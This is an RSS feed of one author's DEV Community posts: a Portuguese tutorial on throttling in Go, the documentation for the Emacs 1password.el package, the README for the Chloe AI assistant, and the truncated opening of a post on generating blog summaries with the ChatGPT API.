<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Henrique Goncalves</title>
    <description>The latest articles on DEV Community by Henrique Goncalves (@kamushadenes).</description>
    <link>https://dev.to/kamushadenes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1036490%2F25b50f22-b7b2-44d9-911a-4b4f98936bc6.jpeg</url>
      <title>DEV Community: Henrique Goncalves</title>
      <link>https://dev.to/kamushadenes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kamushadenes"/>
    <language>en</language>
    <item>
      <title>O que é throttling e como implementar em Go</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Wed, 17 Jul 2024 19:48:21 +0000</pubDate>
      <link>https://dev.to/kamushadenes/o-que-e-throttling-e-como-implementar-em-go-5cga</link>
      <guid>https://dev.to/kamushadenes/o-que-e-throttling-e-como-implementar-em-go-5cga</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/throttling-go/" rel="noopener noreferrer"&gt;https://blog.hadenes.io/post/throttling-go/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Em uma das minhas &lt;a href="https://mentoria.hadenes.io" rel="noopener noreferrer"&gt;sessões de mentoria&lt;/a&gt;, me perguntaram sobre throttling.&lt;/p&gt;

&lt;p&gt;Throttling é uma técnica utilizada em diversas áreas da tecnologia para controlar o uso excessivo de recursos, limitando a taxa de execução de certa ação em um determinado período de tempo, podendo adicionar os eventos extras à uma fila de processamento ou descartá-los por completo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Entendendo o throttling
&lt;/h2&gt;

&lt;p&gt;Imagine um restaurante muito popular que recentemente viralizou nas redes sociais. Suponha que a cozinha do restaurante só consiga preparar até 10 pratos por hora, devido à capacidade dos cozinheiros e dos equipamentos.&lt;/p&gt;

&lt;p&gt;Se o restaurante simplesmente tentar receber todo mundo que chega, ele terá problemas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Os cozinheiros serão inundados com mais pedidos do que podem lidar&lt;/li&gt;
&lt;li&gt;A qualidade dos pratos provavelmente cairá, pois os cozinheiros tentariam preparar os pratos com pressa&lt;/li&gt;
&lt;li&gt;O tempo de espera dos clientes aumentará significativamente, e muitos iriam embora insatisfeitos&lt;/li&gt;
&lt;li&gt;Faltarão mesas, e clientes ficarão em pé&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Agora, considere que o restaurante implementou um limite ao número de clientes que atende simultaneamente.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cada cliente que chega ao restaurante recebe um número de acordo com a ordem de chegada&lt;/li&gt;
&lt;li&gt;Se já houver 10 clientes sendo atendidos, qualquer novo cliente precisa esperar sua vez na fila antes de fazer o pedido&lt;/li&gt;
&lt;li&gt;À medida que a cozinha termina um prato e o entrega ao cliente, o próximo da fila pode fazer seu pedido&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A fila garante que todos os clientes sejam atendidos de forma justa e em ordem de chegada. Isso mantém um fluxo contínuo e controlado de pedidos sendo processados.&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;cozinha do restaurante&lt;/strong&gt; é equivalente ao &lt;strong&gt;servidor&lt;/strong&gt; ou à &lt;strong&gt;capacidade de processamento&lt;/strong&gt; de uma API&lt;/p&gt;

&lt;p&gt;Os &lt;strong&gt;clientes&lt;/strong&gt; chegando ao restaurante representam &lt;strong&gt;usuários&lt;/strong&gt; ou serviços que fazem &lt;strong&gt;requisições&lt;/strong&gt; ao servidor&lt;/p&gt;

&lt;p&gt;A &lt;strong&gt;fila de espera&lt;/strong&gt; é o mecanismo de fila ( &lt;strong&gt;queue&lt;/strong&gt; ) usado para gerenciar requisições que excedem a capacidade do sistema&lt;/p&gt;

&lt;p&gt;O &lt;strong&gt;limite de 10 pratos por hora&lt;/strong&gt; é o &lt;strong&gt;throttling&lt;/strong&gt; , limitando o número de requisições que o servidor pode processar em um dado período de tempo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implementando throttling em Go
&lt;/h2&gt;

&lt;p&gt;Vamos implementar um exemplo simples de throttling em Go.&lt;/p&gt;

&lt;p&gt;Neste exemplo, vamos limitar a execução de uma função a 5 vezes por segundo.&lt;/p&gt;

&lt;h3&gt;
  
  
  Channels
&lt;/h3&gt;

&lt;p&gt;Os channels são uma das principais ferramentas para comunicação entre goroutines em Go. Eles são usados para enviar e receber dados entre goroutines.&lt;/p&gt;

&lt;p&gt;É possível verificar se um channel é capaz de receber um evento imediatamente ou se ele está bloqueado. Esse será o princípio básico para implementar nosso throttling.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exemplo
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
package main

import (
    "fmt"
    "time"
)

var interval = 5 * time.Second

func monitor(ch &amp;lt;-chan string) {
    ticker := time.NewTicker(interval)

    for {
        select {
        case &amp;lt;-ticker.C:
            fmt.Println(&amp;lt;-ch)
        }
    }
}

func main() {
    var ch = make(chan string, 1)

    go monitor(ch)

    for i := 0; i &amp;lt; 100; i++ {
        select {
        case ch &amp;lt;- fmt.Sprintf("Message %d", i):
        default:
            fmt.Println("Channel is full!")
        }
        time.Sleep(1 * time.Second)
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vamos entender o que está acontecendo no código acima:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Pacote principal e importação de bibliotecas
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
package main

import (
    "fmt"
    "time"
)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;package main&lt;/code&gt;: Define o pacote principal do programa Go, necessário para a execução.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;import "fmt"&lt;/code&gt; e &lt;code&gt;import "time"&lt;/code&gt;: Importa os pacotes para formatação de strings e manipulação de tempo, respectivamente.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Variáveis globais
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
var interval = 5 * time.Second

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;interval&lt;/code&gt;: Essa variável global define o intervalo de tempo de 5 segundos para o throttling. Ou seja, a função &lt;code&gt;monitor&lt;/code&gt; somente aceitará mensagens a cada 5 segundos.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Função &lt;code&gt;monitor&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
func monitor(ch &amp;lt;-chan string) {
    ticker := time.NewTicker(interval)

    for {
        select {
        case &amp;lt;-ticker.C:
            fmt.Println(&amp;lt;-ch)
        }
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;monitor(ch &amp;lt;-chan string)&lt;/code&gt;: Uma função que recebe um channel somente de leitura do tipo &lt;code&gt;string&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ticker := time.NewTicker(interval)&lt;/code&gt;: Cria um ticker que envia um evento a cada intervalo de tempo definido (5 segundos neste exemplo).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;for { select { ... } }&lt;/code&gt;: Inicia um loop infinito que usa uma construção &lt;code&gt;select&lt;/code&gt; para lidar com operações de recebimento no channel.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;case &amp;lt;-ticker.C: fmt.Println(&amp;lt;-ch)&lt;/code&gt;: Quando o ticker envia um evento (a cada 5 segundos), um valor é recebido do channel &lt;code&gt;ch&lt;/code&gt; e impresso.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Função &lt;code&gt;main&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
func main() {
    var ch = make(chan string, 1)

    go monitor(ch)

    for i := 0; i &amp;lt; 100; i++ {
        select {
        case ch &amp;lt;- fmt.Sprintf("Message %d", i):
        default:
            fmt.Println("Channel is full!")
        }
        time.Sleep(1 * time.Second)
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;var ch = make(chan string, 1)&lt;/code&gt;: Cria um channel de &lt;code&gt;string&lt;/code&gt; com buffer de tamanho 1.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;go monitor(ch)&lt;/code&gt;: Inicia a função &lt;code&gt;monitor&lt;/code&gt; em uma goroutine, permitindo que ela funcione de forma assíncrona.&lt;/li&gt;
&lt;li&gt;O laço &lt;code&gt;for i := 0; i &amp;lt; 100; i++ { ... }&lt;/code&gt; tenta enviar 100 mensagens para o channel &lt;code&gt;ch&lt;/code&gt;:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;select { case ch &amp;lt;- fmt.Sprintf("Message %d", i): default: fmt.Println("Channel is full!") }&lt;/code&gt;: Tenta enviar a mensagem formatada para o channel. Se o channel estiver cheio (o que pode acontecer, já que o buffer é de tamanho 1 e as mensagens são processadas apenas a cada 5 segundos), o &lt;code&gt;default&lt;/code&gt; é executado e a mensagem “Channel is full!” é impressa.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;time.Sleep(1 * time.Second)&lt;/code&gt;: O loop espera 1 segundo antes de tentar enviar a próxima mensagem.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Resumo
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Este código implementa throttling ao combinar channels e tickers para processar mensagens a cada 5 segundos.&lt;/li&gt;
&lt;li&gt;A função &lt;code&gt;monitor&lt;/code&gt; é usada para consumir as mensagens do channel de forma controlada (a cada 5 segundos).&lt;/li&gt;
&lt;li&gt;A função &lt;code&gt;main&lt;/code&gt; tenta enviar 100 mensagens para o channel com uma espera de 1 segundo entre cada tentativa. Se o channel estiver cheio, uma mensagem de aviso é impressa.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Testando o código
&lt;/h3&gt;

&lt;p&gt;Para testar o código, basta salvá-lo em um arquivo Go (por exemplo, &lt;code&gt;throttling.go&lt;/code&gt;) e executá-lo.&lt;/p&gt;

&lt;p&gt;Você verá a saída das mensagens sendo impressas a cada 5 segundos, devido ao throttling implementado,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
go run throttling.go
Channel is full!
Channel is full!
Channel is full!
Channel is full!
Message 0
Channel is full!
Channel is full!
Channel is full!
Channel is full!
Message 5
Channel is full!
Channel is full!
Channel is full!
Channel is full!
Message 10
...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Este é um exemplo simples de como implementar throttling em Go. Você pode ajustar o intervalo de tempo, o tamanho do buffer do channel e outras configurações para atender às necessidades específicas do seu aplicativo.&lt;/p&gt;

&lt;p&gt;Ao invés de imprimir &lt;code&gt;Channel is full&lt;/code&gt;, você poderia adicionar os eventos extras à uma fila de processamento ou descartá-los por completo, dependendo dos requisitos do seu aplicativo.&lt;/p&gt;

&lt;p&gt;Espero que este exemplo tenha sido útil para entender o conceito de throttling e como implementá-lo em Go. Se tiver alguma dúvida ou sugestão, fique à vontade para compartilhar nos comentários.&lt;/p&gt;

&lt;p&gt;Até a próxima!&lt;/p&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>1password.el: Integrating 1Password with Emacs and auth-source</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Wed, 07 Jun 2023 04:52:13 +0000</pubDate>
      <link>https://dev.to/kamushadenes/1passwordel-integrating-1password-with-emacs-and-auth-source-4nkl</link>
      <guid>https://dev.to/kamushadenes/1passwordel-integrating-1password-with-emacs-and-auth-source-4nkl</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/1password.el/"&gt;https://blog.hadenes.io/post/1password.el/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this blog post, we will discuss an Emacs package called &lt;code&gt;1password.el&lt;/code&gt; that allows users to integrate 1Password directly with Emacs and Auth-Source for a seamless and efficient password management experience.&lt;/p&gt;

&lt;h2&gt;
  
  
  Core Functions
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;1password.el&lt;/code&gt; package focuses on integrating the latest 1Password CLI version to work seamlessly with Emacs. The primary functions provided in the README of this package are as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;M-x 1password-get-password NAME&lt;/code&gt;: This interactive function retrieves the password of an item with the given &lt;code&gt;NAME&lt;/code&gt; (e.g., “github”) from your 1Password vault.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;M-x 1password-get-field NAME FIELD&lt;/code&gt;: In addition to passwords, this function allows you to fetch any field with a given label, &lt;code&gt;FIELD&lt;/code&gt;, for the specified item, &lt;code&gt;NAME&lt;/code&gt;. For example, you can retrieve the &lt;code&gt;api_key&lt;/code&gt; associated with your “github” account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;M-x 1password-auth-source-enable&lt;/code&gt;: This function enables the Auth-Source backend integration with 1Password. By activating this feature, Emacs will utilize 1Password when fetching passwords for other Emacs features that rely on Auth-Source.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Requirements
&lt;/h2&gt;

&lt;p&gt;To get started with using the &lt;code&gt;1password.el&lt;/code&gt; module, you need:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Emacs 25.1 or later&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;op&lt;/code&gt; command line tool, which can be found at &lt;a href="https://support.1password.com/command-line/"&gt;1Password command line tool&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;p&gt;For emacs-doom:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;;; in packages.el

(package! 1password
  :recipe (:host github :repo "kamushadenes/1password.el" :files ("*.el")))


;; in config.el

(use-package! 1password
  :demand t
  :init
  (message "Enabling 1password ...")
  :config
  (1password-auth-source-enable))

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>technology</category>
    </item>
    <item>
      <title>Chloe AI Assistant</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Mon, 20 Mar 2023 08:33:13 +0000</pubDate>
      <link>https://dev.to/kamushadenes/chloe-ai-assistant-54jb</link>
      <guid>https://dev.to/kamushadenes/chloe-ai-assistant-54jb</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/chloe-ai-assistant/"&gt;https://blog.hadenes.io/post/chloe-ai-assistant/&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Chloe AI Assistant
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/kamushadenes/chloe"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ypuAu7Uh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github-link-card.s3.ap-northeast-1.amazonaws.com/kamushadenes/chloe.png" alt="" width="880" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Chloe is a powerful AI Assistant written in Go that leverages OpenAI technologies (&lt;a href="https://openai.com/product/gpt-4"&gt;ChatGPT&lt;/a&gt;, &lt;a href="https://openai.com/research/whisper"&gt;Whisper&lt;/a&gt;, and &lt;a href="https://openai.com/product/dall-e-2"&gt;DALL-E&lt;/a&gt;) along with &lt;a href="https://cloud.google.com/text-to-speech"&gt;Google’s Text-to-Speech&lt;/a&gt; engine to provide versatile and comprehensive assistance.&lt;/p&gt;

&lt;p&gt;It offers multiple interfaces and utilizes the &lt;a href="https://til.simonwillison.net/llms/python-react-pattern"&gt;Chain of Thought&lt;/a&gt; approach to understand and respond to complex instructions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Features
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use Chain of Thought to determine actions, falling back to standard completion if no action is found&lt;/li&gt;
&lt;li&gt;Scrape websites to have them on its context&lt;/li&gt;
&lt;li&gt;Search Google for information&lt;/li&gt;
&lt;li&gt;Perform calculations&lt;/li&gt;
&lt;li&gt;Use Google’s Text-to-Speech engine to speak&lt;/li&gt;
&lt;li&gt;Use OpenAI’s DALL-E to generate images&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Due to the Chain of Thought approach, Chloe can also be extended with additional capabilities by simply adding new actions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Installation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Clone the repository
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
git clone https://github.com/kamushadenes/chloe.git

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Change directory to the project folder
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
cd chloe

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Compile
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
go build -o chloe cmd/chloe/main.go

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Setup the required environment variables
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
export TELEGRAM_TOKEN="your_telegram_bot_token"
export OPENAI_API_KEY="your_openai_api_key"
export GOOGLE_APPLICATION_CREDENTIALS="/path/to/credentials.json"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Usage
&lt;/h2&gt;

&lt;p&gt;Running the &lt;code&gt;chloe&lt;/code&gt; binary will start the bot.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
./chloe

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can use Chloe in multiple ways.&lt;/p&gt;

&lt;h3&gt;
  
  
  Telegram
&lt;/h3&gt;

&lt;p&gt;Chloe can be used as a Telegram bot. To use it, you need to create a bot using the &lt;a href="https://t.me/botfather"&gt;BotFather&lt;/a&gt; and set the &lt;code&gt;TELEGRAM_TOKEN&lt;/code&gt; environment variable to the token provided by the BotFather.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start a conversation with your bot&lt;/li&gt;
&lt;li&gt;Just chat.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Chloe should automatically detect what you want to do and respond accordingly, including images and voice messages. You can also send voice messages and it will convert them to text and respond accordingly.&lt;/p&gt;

&lt;p&gt;The following commands are available:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;/listmodes&lt;/strong&gt; - Retrieve the list of all available bot modes or personalities&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;/forget&lt;/strong&gt; - Wipe all context and reset the conversation with the bot&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;/mode&lt;/strong&gt; - Instruct the bot to switch to a different mode or personality&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;/generate&lt;/strong&gt; - Generate an image using DALL-E&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;/tts&lt;/strong&gt; - Converts text to speech&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Examples
&lt;/h4&gt;

&lt;p&gt;Here, Chloe understands that I want an image of a cat and responds with one. It also understands when I ask it to give the cat a cute yellow hat, and it preserves the context of the previous image.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_X6mqW5Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/telegram.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_X6mqW5Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/telegram.png" alt="show me a picture of a cat" width="880" height="531"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can see how Chloe reasons about the context and understands what I want to do.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--e_8IOSvy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/log.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--e_8IOSvy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/log.png" alt="log" width="880" height="94"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here, Chloe says “Beware of the dog, the cat is shady too”. I then ask (in a voice message) for it to show me a picture of what she just said, and she generates relevant images.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--J3ukLt7G--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/telegram2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--J3ukLt7G--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/telegram2.png" alt="show me a picture of what you just said" width="880" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  HTTP
&lt;/h3&gt;

&lt;p&gt;Chloe can also be used as an HTTP server. By default, it will listen on port &lt;code&gt;8080&lt;/code&gt;. You can change this by setting the &lt;code&gt;PORT&lt;/code&gt; environment variable.&lt;/p&gt;

&lt;p&gt;The following endpoints are available:&lt;/p&gt;

&lt;h4&gt;
  
  
  POST /api/complete
&lt;/h4&gt;

&lt;p&gt;This endpoint will complete the given text using OpenAI’s ChatGPT.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Request&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
{
"content": "Hello, Chloe!"
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response&lt;/strong&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Text
&lt;/h4&gt;

&lt;p&gt;If the response is a text (the default), you’ll receive a streamed response. You can use curl’s &lt;code&gt;-N&lt;/code&gt;flag to receive the text as it’s generated.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
curl -N -X POST -H "Content-Type: application/json" -d '{"content": "Hello, Chloe!"}' http://localhost:8080/api/complete



Hello Henrique! How can I assist you today?

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Image
&lt;/h4&gt;

&lt;p&gt;In case the Chain of Thought detects the user wants to generate an image, you’ll receive the PNG image as a response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
curl -N -X POST -H "Content-Type: application/json" -d '{"content": "show me a picture of a cat"}' http://localhost:8080/api/complete

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6mLZrf7P--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/cat.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6mLZrf7P--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/kamushadenes/chloe/raw/main/.github/resources/images/cat.png" alt="show me a picture of a cat" width="880" height="880"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Audio
&lt;/h4&gt;

&lt;p&gt;In case the Chain of Thought detects the user wants to convert text to speech, you’ll receive the MP3 audio as a response.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
curl -N -X POST -H "Content-Type: application/json" -d '{"content": "Say out loud: Hello, my name is Chloe!"}' http://localhost:8080/api/complete

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Command Line (CLI)
&lt;/h3&gt;

&lt;p&gt;Chloe can also be used as a command line interface. This is useful for testing purposes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
./chloe \[command\]

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following commands are available:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;complete&lt;/strong&gt; [args] - Complete the given text using OpenAI’s ChatGPT&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;generate&lt;/strong&gt; [args] - Generate an image using DALL-E&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;tts&lt;/strong&gt; [args]- Converts text to speech&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;forget&lt;/strong&gt; - Wipe all context and reset the conversation with the bot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you call complete without any arguments, it will start a REPL.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
./chloe complete

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h2&gt;
  
  
  Contributing
&lt;/h2&gt;

&lt;p&gt;We welcome contributions! If you would like to improve Chloe, please follow these steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Fork the repository&lt;/li&gt;
&lt;li&gt;Make your changes&lt;/li&gt;
&lt;li&gt;Open a pull request&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  License
&lt;/h2&gt;

&lt;p&gt;Chloe is licensed under the &lt;a href="https://dev.toLICENSE"&gt;MIT License&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://til.simonwillison.net/llms/python-react-pattern"&gt;A simple Python implementation of the ReAct pattern for LLMs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Acknowledgements
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://github.com/sashabaranov/go-openai"&gt;sashabaranov&lt;/a&gt; for the Go OpenAI SDK&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/f/awesome-chatgpt-prompts"&gt;awesome-chatgpt-prompts&lt;/a&gt; for the personalities&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>technology</category>
    </item>
    <item>
      <title>Simplifying Blog Writing with OpenAI's ChatGPT API - Auto-generating Summaries, Tags, and Titles for Your Posts</title>
      <dc:creator>Henrique Goncalves</dc:creator>
      <pubDate>Thu, 02 Mar 2023 06:00:00 +0000</pubDate>
      <link>https://dev.to/kamushadenes/simplifying-blog-writing-with-openais-chatgpt-api-auto-generating-summaries-tags-and-titles-for-your-posts-lpc</link>
      <guid>https://dev.to/kamushadenes/simplifying-blog-writing-with-openais-chatgpt-api-auto-generating-summaries-tags-and-titles-for-your-posts-lpc</guid>
      <description>&lt;p&gt;Originally posted at &lt;a href="https://blog.hadenes.io/post/generating-blog-post-summaries-with-chatgpt/"&gt;https://blog.hadenes.io/post/generating-blog-post-summaries-with-chatgpt/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As a blogger, you know how important it is to create compelling content that engages your readers. But coming up with catchy titles, insightful summaries, and relevant tags can be time-consuming and challenging. I know I struggle a lot with this, no matter how well I know the topic I’m writing about.&lt;/p&gt;

&lt;p&gt;Enter OpenAI’s ChatGPT API.&lt;/p&gt;

